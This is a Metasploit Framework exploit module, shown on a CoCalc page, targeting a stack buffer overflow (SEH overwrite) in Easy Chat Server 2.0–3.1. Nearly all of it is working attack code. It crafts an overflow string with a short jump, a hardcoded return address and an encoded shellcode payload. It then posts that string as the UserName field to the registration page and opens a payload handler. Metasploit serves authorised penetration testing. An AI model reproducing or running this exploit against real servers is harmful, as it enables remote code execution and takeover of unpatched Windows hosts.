Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/easychatserver_seh.rb
19569 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = NormalRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
17
'Description' => %q{
18
This module exploits a buffer overflow during user registration in Easy Chat Server software.
19
},
20
'Author' => [
21
'Marco Rivoli', # Metasploit
22
'Aitezaz Mohsin' # POC
23
],
24
'License' => MSF_LICENSE,
25
'References' => [
26
[ 'EDB', '42155' ],
27
],
28
'Privileged' => true,
29
'Payload' => {
30
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
31
},
32
'Platform' => 'win',
33
'Targets' => [
34
[ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
35
],
36
'DefaultOptions' => {
37
'RPORT' => 80,
38
'EXITFUNC' => 'thread',
39
'ENCODER' => 'x86/alpha_mixed'
40
},
41
'DisclosureDate' => '2017-10-09',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
end
51
52
def exploit
53
sploit = rand_text_alpha_upper(217)
54
sploit << "\xeb\x06\x90\x90"
55
sploit << [target.ret].pack('V')
56
sploit << payload.encoded
57
sploit << rand_text_alpha_upper(200)
58
59
res = send_request_cgi({
60
'uri' => normalize_uri(URI, 'registresult.htm'),
61
'method' => 'POST',
62
'vars_post' => {
63
'UserName' => sploit,
64
'Password' => 'test',
65
'Password1' => 'test',
66
'Sex' => 1,
67
'Email' => 'x@',
68
'Icon' => 'x.gif',
69
'Resume' => 'xxxx',
70
'cw' => 1,
71
'RoomID' => 4,
72
'RepUserName' => 'admin',
73
'submit1' => 'Register'
74
}
75
})
76
handler
77
end
78
end
79
80